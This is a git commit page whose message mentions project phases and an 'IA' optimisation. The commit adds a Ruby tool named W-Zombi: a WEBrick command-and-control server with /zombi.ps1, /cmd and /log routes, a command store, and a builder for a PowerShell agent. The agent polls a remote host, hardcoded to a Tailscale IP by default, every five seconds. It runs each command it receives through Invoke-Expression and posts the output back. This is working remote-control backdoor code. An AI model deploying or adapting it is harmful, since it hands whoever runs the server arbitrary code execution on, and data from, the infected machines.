[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.
This commit is contained in:
Executable
+43
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env ruby
|
||||
require_relative '../lib/wzombi/config'
|
||||
require_relative '../lib/wzombi/server'
|
||||
require_relative '../lib/wzombi/command_store'
|
||||
|
||||
base = File.expand_path("..", __dir__)
|
||||
config = WZombi::Config.new(base_path: base)
|
||||
|
||||
def help
|
||||
puts <<~HELP
|
||||
Uso:
|
||||
w-zombi start
|
||||
w-zombi cmd "<comando>"
|
||||
w-zombi ayuda | -h | -help
|
||||
|
||||
Ejemplo ADN:
|
||||
adn tools w-zombi cmd "ipconfig"
|
||||
HELP
|
||||
end
|
||||
|
||||
cmd = ARGV[0]
|
||||
|
||||
case cmd
|
||||
when "start"
|
||||
WZombi::Server.new(config).start
|
||||
|
||||
when "cmd"
|
||||
command = ARGV[1]
|
||||
if command.nil?
|
||||
puts "Falta comando"
|
||||
exit
|
||||
end
|
||||
store = WZombi::CommandStore.new(config.cmd_path)
|
||||
store.update(command)
|
||||
puts "Comando actualizado: #{command}"
|
||||
|
||||
when "ayuda", "-h", "-help", nil
|
||||
help
|
||||
|
||||
else
|
||||
puts "Comando desconocido"
|
||||
help
|
||||
end
|
||||
@@ -0,0 +1 @@
|
||||
{"id":8,"cmd":"Powershell -Command \"cat C:\\wz_rename.txt\""}
|
||||
@@ -0,0 +1,25 @@
|
||||
require 'json'
|
||||
|
||||
module WZombi
|
||||
class CommandStore
|
||||
def initialize(path)
|
||||
@path = path
|
||||
init_file
|
||||
end
|
||||
|
||||
def init_file
|
||||
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
|
||||
end
|
||||
|
||||
def current
|
||||
JSON.parse(File.read(@path))
|
||||
end
|
||||
|
||||
def update(cmd)
|
||||
data = current
|
||||
data["id"] += 1
|
||||
data["cmd"] = cmd
|
||||
File.write(@path, data.to_json)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,22 @@
|
||||
module WZombi
|
||||
class Config
|
||||
attr_reader :puerto, :base_path
|
||||
|
||||
def initialize(base_path:)
|
||||
@base_path = base_path
|
||||
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
|
||||
end
|
||||
|
||||
def log_path
|
||||
File.join(base_path, "data/telemetria.log")
|
||||
end
|
||||
|
||||
def cmd_path
|
||||
File.join(base_path, "data/cmd.json")
|
||||
end
|
||||
|
||||
def payloads_path
|
||||
File.join(base_path, "payloads")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,46 @@
|
||||
module WZombi
|
||||
module Engine
|
||||
class PS1Builder
|
||||
def self.build(host:)
|
||||
<<~PS1
|
||||
# W-ZOMBI ENGINE v2.0
|
||||
$WZ_HOST = "#{host}"
|
||||
$LAST_CMD_ID = 0
|
||||
|
||||
function Get-Cmd {
|
||||
try {
|
||||
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd" -UseBasicParsing -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
}
|
||||
|
||||
function Send-Log {
|
||||
param([string]$msg)
|
||||
$line = "[$(Get-Date -Format 'HH:mm:ss')] $msg"
|
||||
Write-Host "📡 $line" -ForegroundColor Cyan
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $line -ContentType "text/plain" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Write-Host "🧟 ゾンビ (Zombi) v2.0 ONLINE - Esperando ordenes..." -ForegroundColor Green
|
||||
|
||||
while ($true) {
|
||||
try {
|
||||
$cmdData = Get-Cmd
|
||||
if ($cmdData -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -ne "NO_CMD") {
|
||||
$LAST_CMD_ID = $cmdData.id
|
||||
Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow
|
||||
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
|
||||
Send-Log $result
|
||||
}
|
||||
} catch {
|
||||
Send-Log "!!! EXCEPCION FATAL EN LOOP: $($_.Exception.Message)"
|
||||
}
|
||||
Start-Sleep -Seconds 5
|
||||
}
|
||||
PS1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
module WZombi
|
||||
class Logger
|
||||
def initialize(path)
|
||||
@path = path
|
||||
end
|
||||
|
||||
def log(msg)
|
||||
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
|
||||
File.open(@path, "a") { |f| f.puts(line) }
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,16 @@
|
||||
require 'json'
|
||||
|
||||
module WZombi
|
||||
module Routes
|
||||
class Cmd
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(_req, res)
|
||||
res['Content-Type'] = 'application/json'
|
||||
res.body = File.read(@config.cmd_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,14 @@
|
||||
module WZombi
|
||||
module Routes
|
||||
class Log
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(req, res)
|
||||
File.open(@config.log_path, "a") { |f| f.puts(req.body) }
|
||||
res.body = "OK"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,17 @@
|
||||
require_relative '../engine/ps1_builder'
|
||||
|
||||
module WZombi
|
||||
module Routes
|
||||
class Zombi
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(_req, res)
|
||||
# Priorizamos host desde variable de entorno, sino usamos la IP Tailscale conocida
|
||||
host = ENV.fetch("WZ_HOST", "100.111.195.4:#{@config.puerto}")
|
||||
res.body = Engine::PS1Builder.build(host: host)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,25 @@
|
||||
require 'webrick'
|
||||
require_relative 'routes/zombi'
|
||||
require_relative 'routes/cmd'
|
||||
require_relative 'routes/log'
|
||||
|
||||
module WZombi
|
||||
class Server
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def start
|
||||
server = WEBrick::HTTPServer.new(Port: @config.puerto)
|
||||
|
||||
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
|
||||
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
|
||||
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
|
||||
|
||||
trap("INT") { server.shutdown }
|
||||
|
||||
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
|
||||
server.start
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user